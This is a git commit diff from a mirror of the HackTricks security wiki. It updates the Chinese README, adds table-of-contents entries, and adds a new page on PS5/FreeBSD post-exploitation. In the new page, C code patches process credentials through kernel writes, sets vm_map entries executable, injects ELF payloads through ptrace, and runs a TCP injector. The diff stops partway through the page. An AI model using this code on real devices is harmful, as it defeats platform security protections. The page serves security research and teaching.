mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/generic-methodologies-and-resources/basic-forensic-meth
This commit is contained in:
parent
051697386e
commit
fb8171fa82
File diff suppressed because one or more lines are too long
108
src/README.md
108
src/README.md
@ -2,9 +2,9 @@
|
||||
|
||||
<figure><img src="images/hacktricks.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
_Hacktricks 标志和动态设计由_ [_@ppieranacho_](https://www.instagram.com/ppieranacho/)_._
|
||||
_Hacktricks 徽标和动效设计由_ [_@ppieranacho_](https://www.instagram.com/ppieranacho/)_._
|
||||
|
||||
### 本地运行 HackTricks
|
||||
### 在本地运行 HackTricks
|
||||
```bash
|
||||
# Download latest version of hacktricks
|
||||
git clone https://github.com/HackTricks-wiki/hacktricks
|
||||
@ -31,7 +31,7 @@ export LANG="master" # Leave master for english
|
||||
# Run the docker container indicating the path to the hacktricks folder
|
||||
docker run -d --rm --platform linux/amd64 -p 3337:3000 --name hacktricks -v $(pwd)/hacktricks:/app ghcr.io/hacktricks-wiki/hacktricks-cloud/translator-image bash -c "mkdir -p ~/.ssh && ssh-keyscan -H github.com >> ~/.ssh/known_hosts && cd /app && git config --global --add safe.directory /app && git checkout $LANG && git pull && MDBOOK_PREPROCESSOR__HACKTRICKS__ENV=dev mdbook serve --hostname 0.0.0.0"
|
||||
```
|
||||
您的本地 HackTricks 副本将在 **[http://localhost:3337](http://localhost:3337)** 后 <5 分钟可用(它需要构建书籍,请耐心等待)。
|
||||
你的本地 HackTricks 副本将在 <5 分钟后 **可在 [http://localhost:3337](http://localhost:3337) 访问**(需要构建书籍,请耐心等待)。
|
||||
|
||||
## 企业赞助商
|
||||
|
||||
@ -39,11 +39,11 @@ docker run -d --rm --platform linux/amd64 -p 3337:3000 --name hacktricks -v $(pw
|
||||
|
||||
<figure><img src="images/stm (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**STM Cyber**](https://www.stmcyber.com) 是一家优秀的网络安全公司,其口号是 **HACK THE UNHACKABLE**。他们进行自己的研究并开发自己的黑客工具,以 **提供多种有价值的网络安全服务**,如渗透测试、红队和培训。
|
||||
[**STM Cyber**](https://www.stmcyber.com) 是一家优秀的网络安全公司,口号为 **HACK THE UNHACKABLE**。他们开展自己的研究并开发自己的黑客工具,以便 **提供多种有价值的网络安全服务**,例如 pentesting、Red teams 和培训。
|
||||
|
||||
您可以查看他们的 **博客** 在 [**https://blog.stmcyber.com**](https://blog.stmcyber.com)
|
||||
你可以在 [**https://blog.stmcyber.com**](https://blog.stmcyber.com) 查看他们的 **博客**
|
||||
|
||||
**STM Cyber** 还支持像 HackTricks 这样的网络安全开源项目 :)
|
||||
**STM Cyber** 也支持像 HackTricks 这样的网络安全开源项目 :)
|
||||
|
||||
---
|
||||
|
||||
@ -51,7 +51,7 @@ docker run -d --rm --platform linux/amd64 -p 3337:3000 --name hacktricks -v $(pw
|
||||
|
||||
<figure><img src="images/image (45).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**RootedCON**](https://www.rootedcon.com) 是 **西班牙** 最相关的网络安全事件,也是 **欧洲** 最重要的活动之一。以 **促进技术知识** 为使命,这个大会是各个学科技术和网络安全专业人士的热烈交流点。
|
||||
[**RootedCON**](https://www.rootedcon.com) 是 **西班牙** 最重要的网络安全活动,也是 **欧洲** 最重要的会议之一。怀着 **推广技术知识的使命**,这个大会是技术与网络安全各领域专业人士的重要汇聚点。
|
||||
|
||||
{{#ref}}
|
||||
https://www.rootedcon.com/
|
||||
@ -63,9 +63,9 @@ https://www.rootedcon.com/
|
||||
|
||||
<figure><img src="images/image (47).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**Intigriti** 是 **欧洲第一** 的道德黑客和 **漏洞赏金平台**。
|
||||
**Intigriti** 是 **Europe's #1** 的 ethical hacking 与 **bug bounty platform.**
|
||||
|
||||
**漏洞赏金提示**:**注册** **Intigriti**,这是一个由黑客为黑客创建的高级 **漏洞赏金平台**!今天就加入我们 [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks),开始赚取高达 **$100,000** 的赏金!
|
||||
**Bug bounty tip**:**sign up** for **Intigriti**, a premium **bug bounty platform created by hackers, for hackers**! Join us at [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) today, and start earning bounties up to **$100,000**!
|
||||
|
||||
{{#ref}}
|
||||
https://go.intigriti.com/hacktricks
|
||||
@ -78,9 +78,9 @@ https://go.intigriti.com/hacktricks
|
||||
<figure><img src="images/image (48).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
使用 [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) 轻松构建和 **自动化工作流程**,由世界上 **最先进** 的社区工具提供支持。
|
||||
使用 [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) 可以轻松构建并 **自动化工作流**,由世界上**最先进**的社区工具驱动。
|
||||
|
||||
今天就获取访问权限:
|
||||
立即获取访问权限:
|
||||
|
||||
{{#ref}}
|
||||
https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks
|
||||
@ -92,23 +92,23 @@ https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktr
|
||||
|
||||
<figure><img src="images/image (3).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
加入 [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) 服务器,与经验丰富的黑客和漏洞赏金猎人交流!
|
||||
加入 [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) 服务器,与经验丰富的黑客和 bug bounty 猎人交流!
|
||||
|
||||
- **黑客见解**:参与深入探讨黑客的刺激和挑战的内容
|
||||
- **实时黑客新闻**:通过实时新闻和见解跟上快速变化的黑客世界
|
||||
- **最新公告**:了解最新的漏洞赏金发布和重要平台更新
|
||||
- **Hacking Insights:** 参与深入探讨黑客世界刺激与挑战的内容
|
||||
- **Real-Time Hack News:** 通过实时新闻和洞见及时了解快速变化的黑客世界
|
||||
- **Latest Announcements:** 获取最新启动的 bug bounty 和重要平台更新
|
||||
|
||||
**今天就加入我们** [**Discord**](https://discord.com/invite/N3FrSbmwdy),开始与顶级黑客合作!
|
||||
**Join us on** [**Discord**](https://discord.com/invite/N3FrSbmwdy) 并开始与顶尖黑客协作!
|
||||
|
||||
---
|
||||
|
||||
### [Pentest-Tools.com](https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons) - 必备的渗透测试工具包
|
||||
### [Pentest-Tools.com](https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons) - The essential penetration testing toolkit
|
||||
|
||||
<figure><img src="images/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**从黑客的角度看待您的网络应用、网络和云**
|
||||
**从黑客视角审视你的 Web 应用、网络与云**
|
||||
|
||||
**查找并报告具有实际商业影响的关键、可利用的漏洞。** 使用我们 20 多个自定义工具来映射攻击面,查找让您提升权限的安全问题,并使用自动化漏洞利用收集重要证据,将您的辛勤工作转化为有说服力的报告。
|
||||
**发现并报告具有真实业务影响的关键可利用漏洞。** 使用我们 20+ 的自定义工具绘制攻击面,发现可导致权限升级的安全问题,并使用自动化利用收集关键证据,将你的工作成果转化为有说服力的报告。
|
||||
|
||||
{{#ref}}
|
||||
https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons
|
||||
@ -120,22 +120,22 @@ https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktrick
|
||||
|
||||
<figure><img src="images/image (1254).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**SerpApi** 提供快速且简单的实时 API,以 **访问搜索引擎结果**。他们抓取搜索引擎,处理代理,解决验证码,并为您解析所有丰富的结构化数据。
|
||||
**SerpApi** 提供快速且简便的实时 API 以 **访问搜索引擎结果**。他们负责抓取搜索引擎、处理代理、解决验证码,并为你解析所有丰富的结构化数据。
|
||||
|
||||
订阅 SerpApi 的计划之一可访问超过 50 个不同的 API,用于抓取不同的搜索引擎,包括 Google、Bing、百度、Yahoo、Yandex 等。\
|
||||
与其他提供商不同,**SerpApi 不仅仅抓取自然结果**。SerpApi 的响应始终包括所有广告、内联图像和视频、知识图谱以及搜索结果中存在的其他元素和功能。
|
||||
订阅 SerpApi 的任一计划可访问 50 多种不同的 API,用于抓取不同的搜索引擎,包括 Google、Bing、Baidu、Yahoo、Yandex 等。\
|
||||
与其他提供商不同,**SerpApi 不仅抓取自然结果**。SerpApi 的响应始终包含所有广告、内联图片与视频、知识图谱以及搜索结果中存在的其他元素与特性。
|
||||
|
||||
当前的 SerpApi 客户包括 **Apple、Shopify 和 GrubHub**。\
|
||||
有关更多信息,请查看他们的 [**博客**](https://serpapi.com/blog/)**,**或在他们的 [**游乐场**](https://serpapi.com/playground)** 尝试示例。**\
|
||||
您可以在 [**这里**](https://serpapi.com/users/sign_up)** 创建一个免费帐户。**
|
||||
当前 SerpApi 的客户包括 **Apple, Shopify, and GrubHub**。\
|
||||
欲了解更多信息请查看他们的 [**blog**](https://serpapi.com/blog/)**,** 或在他们的 [**playground**](https://serpapi.com/playground)** 中尝试示例。**\
|
||||
你可以在 [**here**](https://serpapi.com/users/sign_up)** 创建一个免费帐户**。
|
||||
|
||||
---
|
||||
|
||||
### [8kSec Academy – 深入的移动安全课程](https://academy.8ksec.io/)
|
||||
### [8kSec Academy – In-Depth Mobile Security Courses](https://academy.8ksec.io/)
|
||||
|
||||
<figure><img src="images/image (2).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
学习执行漏洞研究、渗透测试和逆向工程所需的技术和技能,以保护移动应用和设备。通过我们的按需课程 **掌握 iOS 和 Android 安全** 并 **获得认证**:
|
||||
学习进行漏洞研究、渗透测试和逆向工程以保护移动应用与设备所需的技术与技能。通过我们的点播课程 **掌握 iOS 与 Android 安全** 并 **获得认证**:
|
||||
|
||||
{{#ref}}
|
||||
https://academy.8ksec.io/
|
||||
@ -147,13 +147,13 @@ https://academy.8ksec.io/
|
||||
|
||||
<figure><img src="images/websec (1).svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WebSec**](https://websec.net) 是一家总部位于 **阿姆斯特丹** 的专业网络安全公司,帮助 **保护** 全球企业免受最新网络安全威胁,通过提供 **进攻性安全服务** 采用 **现代** 方法。
|
||||
[**WebSec**](https://websec.net) 是一家位于 **Amsterdam** 的专业网络安全公司,帮助全球企业应对最新的网络安全威胁,提供带有**现代**方法的 **offensive-security services**。
|
||||
|
||||
WebSec 是一家国际安全公司,在阿姆斯特丹和怀俄明州设有办事处。他们提供 **一体化安全服务**,这意味着他们可以做所有事情;渗透测试、**安全** 审计、意识培训、网络钓鱼活动、代码审查、漏洞开发、安全专家外包等等。
|
||||
WebSec 是一家国际性安全公司,在 Amsterdam 和 Wyoming 设有办事处。他们提供 **一体化安全服务**,涵盖渗透测试、**Security** 审计、意识培训、网络钓鱼活动、代码审计、漏洞利用开发、安全专家外包等诸多服务。
|
||||
|
||||
WebSec 的另一个酷点是,与行业平均水平不同,WebSec 对他们的技能 **非常自信**,以至于他们 **保证最佳质量结果**,他们在网站上声明“**如果我们无法攻破它,您就不需要支付!**”。有关更多信息,请查看他们的 [**网站**](https://websec.net/en/) 和 [**博客**](https://websec.net/blog/)!
|
||||
WebSec 的另一大特点是,与行业平均水平不同,WebSec 对自己的技能 **非常有信心**,以至于他们在网站上承诺“**If we can't hack it, You don't pay it!**”。更多信息请查看他们的 [**website**](https://websec.net/en/) 和 [**blog**](https://websec.net/blog/)!
|
||||
|
||||
除了上述内容,WebSec 还是 **HackTricks 的坚定支持者**。
|
||||
除了上述内容外,WebSec 也是 HackTricks 的 **坚定支持者**。
|
||||
|
||||
{{#ref}}
|
||||
https://www.youtube.com/watch?v=Zq2JycGDCPM
|
||||
@ -165,10 +165,10 @@ https://www.youtube.com/watch?v=Zq2JycGDCPM
|
||||
|
||||
<figure><img src="images/venacus-logo.svg" alt="venacus logo"><figcaption></figcaption></figure>
|
||||
|
||||
[**Venacus**](https://venacus.com/?utm_medium=link&utm_source=hacktricks&utm_campaign=spons) 是一个数据泄露(leak)搜索引擎。 \
|
||||
我们提供随机字符串搜索(如谷歌)覆盖所有类型的大大小小的数据泄露——不仅仅是大的——来自多个来源的数据。 \
|
||||
人们搜索、AI 搜索、组织搜索、API(OpenAPI)访问、theHarvester 集成,所有渗透测试人员所需的功能。\
|
||||
**HackTricks 继续成为我们所有人的一个伟大学习平台,我们为赞助它感到自豪!**
|
||||
[**Venacus**](https://venacus.com/?utm_medium=link&utm_source=hacktricks&utm_campaign=spons) 是一个数据泄露 (leak) 搜索引擎。\
|
||||
我们提供类似 Google 的随机字符串搜索,覆盖各类大小数据泄露 — 不仅限于大型泄露 — 来自多个来源的数据。\
|
||||
人名搜索、AI 搜索、组织搜索、API (OpenAPI) 访问、theHarvester 集成,包含所有 pentester 所需的功能。\
|
||||
**HackTricks 继续为我们所有人提供很棒的学习平台,我们很自豪能赞助它!**
|
||||
|
||||
{{#ref}}
|
||||
https://venacus.com/?utm_medium=link&utm_source=hacktricks&utm_campaign=spons
|
||||
@ -180,13 +180,14 @@ https://venacus.com/?utm_medium=link&utm_source=hacktricks&utm_campaign=spons
|
||||
|
||||
<figure><img src="images/cyberhelmets-logo.png" alt="cyberhelmets logo"><figcaption></figcaption></figure>
|
||||
|
||||
**为现场而建。围绕您而建。**\
|
||||
[**Cyber Helmets**](https://cyberhelmets.com/?ref=hacktricks) 开发并提供有效的网络安全培训,由行业专家主导。 他们的课程超越理论,装备团队深入理解和可操作的技能,使用反映现实世界威胁的自定义环境。有关定制培训的咨询,请通过 [**这里**](https://cyberhelmets.com/tailor-made-training/?ref=hacktricks) 联系我们。
|
||||
|
||||
**他们的培训与众不同之处:**
|
||||
* 定制内容和实验室
|
||||
* 由顶级工具和平台支持
|
||||
* 由从业者设计和教授
|
||||
**Built for the field. Built around you.**\
|
||||
[**Cyber Helmets**](https://cyberhelmets.com/?ref=hacktricks) 开发并提供由业内专家构建和领导的高效网络安全培训。他们的课程超越理论,使用反映真实世界威胁的定制环境,赋能团队掌握深入的理解与可付诸实践的技能。若需定制培训,请通过 [**here**](https://cyberhelmets.com/tailor-made-training/?ref=hacktricks) 与我们联系。
|
||||
|
||||
**使其培训与众不同的要点:**
|
||||
* 定制构建的内容与实验室
|
||||
* 支持顶级工具与平台
|
||||
* 由实践者设计与授课
|
||||
|
||||
{{#ref}}
|
||||
https://cyberhelmets.com/courses/?ref=hacktricks
|
||||
@ -198,13 +199,13 @@ https://cyberhelmets.com/courses/?ref=hacktricks
|
||||
|
||||
<figure><img src="images/lasttower.png" alt="lasttower logo"><figcaption></figcaption></figure>
|
||||
|
||||
Last Tower Solutions 提供专门的网络安全服务,面向 **教育** 和 **金融科技** 机构,重点关注 **渗透测试、云安全评估** 和 **合规准备**(SOC 2、PCI-DSS、NIST)。我们的团队包括 **OSCP 和 CISSP 认证专业人员**,为每次合作带来深厚的技术专长和行业标准的见解。
|
||||
Last Tower Solutions 为 **教育** 与 **金融科技 (FinTech)** 机构提供专业化的网络安全服务,重点关注 **渗透测试、云安全评估** 和 **合规准备**(SOC 2、PCI-DSS、NIST)。我们的团队包含 **OSCP 和 CISSP 认证的专业人员**,为每次服务提供深厚的技术专长与行业标准洞见。
|
||||
|
||||
我们超越自动化扫描,提供 **手动、基于情报的测试**,针对高风险环境量身定制。从保护学生记录到保护金融交易,我们帮助组织捍卫最重要的事务。
|
||||
我们不仅依赖自动化扫描,还提供 **人工、情报驱动的测试**,为高风险环境量身定制。从保护学生记录到保障金融交易,我们帮助组织守护最重要的资产。
|
||||
|
||||
_“高质量的防御需要了解进攻,我们通过理解提供安全。”_
|
||||
_“高质量的防御来源于了解进攻,我们通过理解来提供安全。”_
|
||||
|
||||
通过访问我们的 [**博客**](https://www.lasttowersolutions.com/blog) 了解网络安全的最新动态。
|
||||
想了解更多网络安全的最新动态,请访问我们的 [**blog**](https://www.lasttowersolutions.com/blog)。
|
||||
|
||||
{{#ref}}
|
||||
https://www.lasttowersolutions.com/
|
||||
@ -212,7 +213,22 @@ https://www.lasttowersolutions.com/
|
||||
|
||||
---
|
||||
|
||||
## 许可证和免责声明
|
||||
### [K8Studio - The Smarter GUI to Manage Kubernetes.](https://k8studio.io/)
|
||||
|
||||
<figure><img src="images/k8studio.png" alt="k8studio logo"><figcaption></figcaption></figure>
|
||||
|
||||
K8Studio IDE 使 DevOps、DevSecOps 和开发人员能够高效地管理、监控和保护 Kubernetes 集群。利用我们的 AI 驱动洞见、先进的安全框架和直观的 CloudMaps GUI 来可视化集群、了解其状态并自信地采取行动。
|
||||
|
||||
此外,K8Studio 与所有主流 kubernetes 发行版兼容(AWS, GCP, Azure, DO, Rancher, K3s, Openshift 等)。
|
||||
|
||||
{{#ref}}
|
||||
https://k8studio.io/
|
||||
{{#endref}}
|
||||
|
||||
|
||||
---
|
||||
|
||||
## 许可证与免责声明
|
||||
|
||||
请查看:
|
||||
|
||||
|
@ -59,6 +59,7 @@
|
||||
- [Decompile compiled python binaries (exe, elf) - Retreive from .pyc](generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/.pyc.md)
|
||||
- [Browser Artifacts](generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/browser-artifacts.md)
|
||||
- [Deofuscation vbs (cscript.exe)](generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/desofuscation-vbs-cscript.exe.md)
|
||||
- [Discord Cache Forensics](generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/discord-cache-forensics.md)
|
||||
- [Local Cloud Storage](generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/local-cloud-storage.md)
|
||||
- [Office file analysis](generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/office-file-analysis.md)
|
||||
- [PDF File analysis](generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/pdf-file-analysis.md)
|
||||
@ -82,6 +83,7 @@
|
||||
- [Basic Python](generic-methodologies-and-resources/python/basic-python.md)
|
||||
- [Threat Modeling](generic-methodologies-and-resources/threat-modeling.md)
|
||||
- [Blockchain & Crypto](blockchain/blockchain-and-crypto-currencies/README.md)
|
||||
- [Mutation Testing With Slither](blockchain/smart-contract-security/mutation-testing-with-slither.md)
|
||||
- [Defi/AMM Hook Precision](blockchain/blockchain-and-crypto-currencies/defi-amm-hook-precision.md)
|
||||
- [Lua Sandbox Escape](generic-methodologies-and-resources/lua/bypass-lua-sandboxes/README.md)
|
||||
|
||||
@ -102,6 +104,7 @@
|
||||
|
||||
# 🐧 Linux Hardening
|
||||
|
||||
- [Linux Basics](linux-hardening/linux-basics.md)
|
||||
- [Checklist - Linux Privilege Escalation](linux-hardening/linux-privilege-escalation-checklist.md)
|
||||
- [Linux Privilege Escalation](linux-hardening/privilege-escalation/README.md)
|
||||
- [Android Rooting Frameworks Manager Auth Bypass Syscall Hook](linux-hardening/privilege-escalation/android-rooting-frameworks-manager-auth-bypass-syscall-hook.md)
|
||||
@ -570,6 +573,7 @@
|
||||
- [15672 - Pentesting RabbitMQ Management](network-services-pentesting/15672-pentesting-rabbitmq-management.md)
|
||||
- [24007,24008,24009,49152 - Pentesting GlusterFS](network-services-pentesting/24007-24008-24009-49152-pentesting-glusterfs.md)
|
||||
- [27017,27018 - Pentesting MongoDB](network-services-pentesting/27017-27018-mongodb.md)
|
||||
- [32100 Udp - Pentesting Pppp Cs2 P2p Cameras](network-services-pentesting/32100-udp-pentesting-pppp-cs2-p2p-cameras.md)
|
||||
- [44134 - Pentesting Tiller (Helm)](network-services-pentesting/44134-pentesting-tiller-helm.md)
|
||||
- [44818/UDP/TCP - Pentesting EthernetIP](network-services-pentesting/44818-ethernetip.md)
|
||||
- [47808/udp - Pentesting BACNet](network-services-pentesting/47808-udp-bacnet.md)
|
||||
@ -587,6 +591,7 @@
|
||||
- [BrowExt - ClickJacking](pentesting-web/browser-extension-pentesting-methodology/browext-clickjacking.md)
|
||||
- [BrowExt - permissions & host_permissions](pentesting-web/browser-extension-pentesting-methodology/browext-permissions-and-host_permissions.md)
|
||||
- [BrowExt - XSS Example](pentesting-web/browser-extension-pentesting-methodology/browext-xss-example.md)
|
||||
- [Forced Extension Load Preferences Mac Forgery Windows](pentesting-web/browser-extension-pentesting-methodology/forced-extension-load-preferences-mac-forgery-windows.md)
|
||||
- [Bypass Payment Process](pentesting-web/bypass-payment-process.md)
|
||||
- [Captcha Bypass](pentesting-web/captcha-bypass.md)
|
||||
- [Cache Poisoning and Cache Deception](pentesting-web/cache-deception/README.md)
|
||||
@ -843,6 +848,7 @@
|
||||
- [WWW2Exec - \_\_malloc_hook & \_\_free_hook](binary-exploitation/arbitrary-write-2-exec/aw2exec-__malloc_hook.md)
|
||||
- [Common Exploiting Problems](binary-exploitation/common-exploiting-problems.md)
|
||||
- [Linux kernel exploitation - toctou](binary-exploitation/linux-kernel-exploitation/posix-cpu-timers-toctou-cve-2025-38352.md)
|
||||
- [PS5 compromission](binary-exploitation/freebsd-ptrace-rfi-vm_map-prot_exec-bypass-ps5.md)
|
||||
- [Windows Exploiting (Basic Guide - OSCP lvl)](binary-exploitation/windows-exploiting-basic-guide-oscp-lvl.md)
|
||||
- [iOS Exploiting](binary-exploitation/ios-exploiting/README.md)
|
||||
- [ios CVE-2020-27950-mach_msg_trailer_t](binary-exploitation/ios-exploiting/CVE-2020-27950-mach_msg_trailer_t.md)
|
||||
|
@ -0,0 +1,182 @@
|
||||
# FreeBSD ptrace RFI and vm_map PROT_EXEC bypass (PS5 case study)
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
## Overview
|
||||
|
||||
本页记录了在基于 FreeBSD 的 PlayStation 5 (PS5) 上实现的一种实用 Unix/BSD usermode process/ELF injection 技术。该方法在已有 kernel read/write (R/W) primitives 的情况下可推广到 FreeBSD 衍生版本。高层次步骤:
|
||||
|
||||
- 修补当前进程凭据 (ucred) 以授予调试器权限,从而对任意用户进程启用 ptrace/mdbg。
|
||||
- 通过遍历内核的 allproc 链表来查找目标进程。
|
||||
- 通过在目标的 vm_map 中对 vm_map_entry.protection 进行位操作(设置 |= PROT_EXEC)来绕过 PROT_EXEC 限制,方法是写入内核数据。
|
||||
- 使用 ptrace 执行 Remote Function Invocation (RFI):挂起线程、设置寄存器以在目标内调用任意函数、恢复执行、收集返回值并恢复状态。
|
||||
- 在目标进程内使用 in-process ELF loader 映射并运行任意 ELF payload,然后创建一个专用线程运行该 payload 并触发断点以干净地 detach。
|
||||
|
||||
需要注意的 PS5 hypervisor 缓解措施(针对本技术的上下文):
|
||||
- XOM (execute-only .text) 阻止读取/写入内核 .text。
|
||||
- 清除 CR0.WP 或禁用 CR4.SMEP 会导致 hypervisor vmexit(崩溃)。只有纯数据的内核写入是可行的。
|
||||
- Userland mmap 默认限制为 PROT_READ|PROT_WRITE。授予 PROT_EXEC 必须通过修改内核内的 vm_map 条目来完成。
|
||||
|
||||
此技术属于 post-exploitation:它假设已有来自 exploit chain 的 kernel R/W primitives。公开的 payload 在撰写时已证明可用于到固件 10.01。
|
||||
|
||||
## Kernel data-only primitives
|
||||
|
||||
### Process discovery via allproc
|
||||
|
||||
FreeBSD 在内核 .data 的 allproc 处维护了一个双向链表。借助 kernel read primitive,遍历该链表以定位进程名和 PID:
|
||||
```c
|
||||
struct proc* find_proc_by_name(const char* proc_name){
|
||||
uint64_t next = 0;
|
||||
kernel_copyout(KERNEL_ADDRESS_ALLPROC, &next, sizeof(uint64_t)); // list head
|
||||
struct proc* proc = malloc(sizeof(struct proc));
|
||||
do{
|
||||
kernel_copyout(next, (void*)proc, sizeof(struct proc)); // read entry
|
||||
if (!strcmp(proc->p_comm, proc_name)) return proc;
|
||||
kernel_copyout(next, &next, sizeof(uint64_t)); // advance next
|
||||
} while (next);
|
||||
free(proc);
|
||||
return NULL;
|
||||
}
|
||||
|
||||
void list_all_proc_and_pid(){
|
||||
uint64_t next = 0;
|
||||
kernel_copyout(KERNEL_ADDRESS_ALLPROC, &next, sizeof(uint64_t));
|
||||
struct proc* proc = malloc(sizeof(struct proc));
|
||||
do{
|
||||
kernel_copyout(next, (void*)proc, sizeof(struct proc));
|
||||
printf("%s - %d\n", proc->p_comm, proc->pid);
|
||||
kernel_copyout(next, &next, sizeof(uint64_t));
|
||||
} while (next);
|
||||
free(proc);
|
||||
}
|
||||
```
|
||||
注意:
|
||||
- KERNEL_ADDRESS_ALLPROC 取决于固件。
|
||||
- p_comm 是固定大小的名称;如有需要,考虑使用 pid->proc 查找。
|
||||
|
||||
### 提升用于调试的凭证 (ucred)
|
||||
|
||||
在 PS5 上,struct ucred 包含一个可以通过 proc->p_ucred 访问的 Authority ID 字段。写入 debugger authority ID 可授予对其他进程的 ptrace/mdbg 权限:
|
||||
```c
|
||||
void set_ucred_to_debugger(){
|
||||
struct proc* proc = get_proc_by_pid(getpid());
|
||||
if (proc){
|
||||
uintptr_t authid = 0; // read current (optional)
|
||||
uintptr_t ptrace_authid = 0x4800000000010003ULL; // debugger Authority ID
|
||||
kernel_copyout((uintptr_t)proc->p_ucred + 0x58, &authid, sizeof(uintptr_t));
|
||||
kernel_copyin(&ptrace_authid, (uintptr_t)proc->p_ucred + 0x58, sizeof(uintptr_t));
|
||||
free(proc);
|
||||
}
|
||||
}
|
||||
```
|
||||
- Offset 0x58 特定于 PS5 固件系列,必须针对每个版本验证。
|
||||
- 在此写入之后,injector 可以通过 ptrace/mdbg 附加并对用户进程进行插桩。
|
||||
|
||||
## 绕过仅限 RW 的用户映射: vm_map PROT_EXEC flip
|
||||
|
||||
用户态的 mmap 可能被限制为 PROT_READ|PROT_WRITE。FreeBSD 使用由 vm_map_entry 节点组成的 vm_map(BST 加链表)来跟踪进程的地址空间。每个条目包含 protection 和 max_protection 字段:
|
||||
```c
|
||||
struct vm_map_entry {
|
||||
struct vm_map_entry *prev,*next,*left,*right;
|
||||
vm_offset_t start, end, avail_ssize;
|
||||
vm_size_t adj_free, max_free;
|
||||
union vm_map_object object; vm_ooffset_t offset; vm_eflags_t eflags;
|
||||
vm_prot_t protection; vm_prot_t max_protection; vm_inherit_t inheritance;
|
||||
int wired_count; vm_pindex_t lastr;
|
||||
};
|
||||
```
|
||||
在获得内核 R/W 权限后,你可以定位目标的 vm_map 并设置 entry->protection |= PROT_EXEC(如果需要,也可以设置 entry->max_protection)。实现要点:
|
||||
|
||||
- 通过 next 线性遍历条目,或使用平衡树(left/right)按地址范围进行 O(log n) 查找。
|
||||
- 选择一个你可控的已知 RW 区域(scratch buffer 或 mapped file),并添加 PROT_EXEC,以便你能放置代码或 loader thunks。
|
||||
- PS5 SDK 代码提供用于快速 map-entry 查找和切换保护的辅助函数。
|
||||
|
||||
这通过直接编辑内核拥有的元数据来绕过 userland 的 mmap 策略。
|
||||
|
||||
## Remote Function Invocation (RFI) with ptrace
|
||||
|
||||
1. 附加到目标并选择一个线程;可使用 PTRACE_ATTACH 或 PS5 特定的 mdbg 流程。
|
||||
2. 保存线程上下文:registers、PC、SP、flags。
|
||||
3. 按照 ABI(x86_64 SysV 或 arm64 AAPCS64)写入 argument registers,将 PC 设置为目标函数,并根据需要在堆栈中放置额外的 args/stack。
|
||||
4. 单步执行或继续运行直到受控停止(例如软件断点或 signal),然后从 regs 中读取返回值。
|
||||
5. 恢复原始上下文并继续执行。
|
||||
|
||||
使用场景:
|
||||
- 在进程内调用 ELF loader(例如 elfldr_load),传入指向目标进程内 ELF 镜像的指针。
|
||||
- 调用辅助例程以获取返回的 entrypoints 和 payload-args 指针。
|
||||
|
||||
驱动 ELF loader 的示例:
|
||||
```c
|
||||
intptr_t entry = elfldr_load(target_pid, (uint8_t*)elf_in_target);
|
||||
intptr_t args = elfldr_payload_args(target_pid);
|
||||
printf("[+] ELF entrypoint: %#02lx\n[+] Payload Args: %#02lx\n", entry, args);
|
||||
```
|
||||
loader 会映射 segments、解析 imports、应用 relocations,并返回 entry(通常是 CRT bootstrap)以及一个不透明的 payload_args 指针,该指针由你的 stager 传给 payload 的 main()。
|
||||
|
||||
## 线程化 stager 与 干净的 detach
|
||||
|
||||
目标内的最小 stager 会创建一个新的 pthread 来运行 ELF 的 main,然后触发 int3 以通知 injector detach:
|
||||
```c
|
||||
int __attribute__((section(".stager_shellcode$1"))) stager(SCEFunctions* functions){
|
||||
pthread_t thread;
|
||||
functions->pthread_create_ptr(&thread, 0,
|
||||
(void*(*)(void*))functions->elf_main, functions->payload_args);
|
||||
asm("int3");
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
- SCEFunctions/payload_args pointers 由 loader/SDK glue 提供。
|
||||
- 在 breakpoint 和 detach 之后,payload 在其自己的 thread 中继续执行。
|
||||
|
||||
## 端到端流程(PS5 reference implementation)
|
||||
|
||||
一个可工作的实现以一个小型 TCP injector server 加上一个 client script 的形式提供:
|
||||
|
||||
- NineS server 在 TCP 9033 上监听,并接收包含目标进程名的 header,后面跟着 ELF image:
|
||||
```c
|
||||
typedef struct __injector_data_t{
|
||||
char proc_name[MAX_PROC_NAME];
|
||||
Elf64_Ehdr elf_header;
|
||||
} injector_data_t;
|
||||
```
|
||||
- Python 客户端用法:
|
||||
```bash
|
||||
python3 ./send_injection_elf.py SceShellUI hello_world.elf <PS5_IP>
|
||||
```
|
||||
Hello-world payload 示例(记录到 klog):
|
||||
```c
|
||||
#include <stdio.h>
|
||||
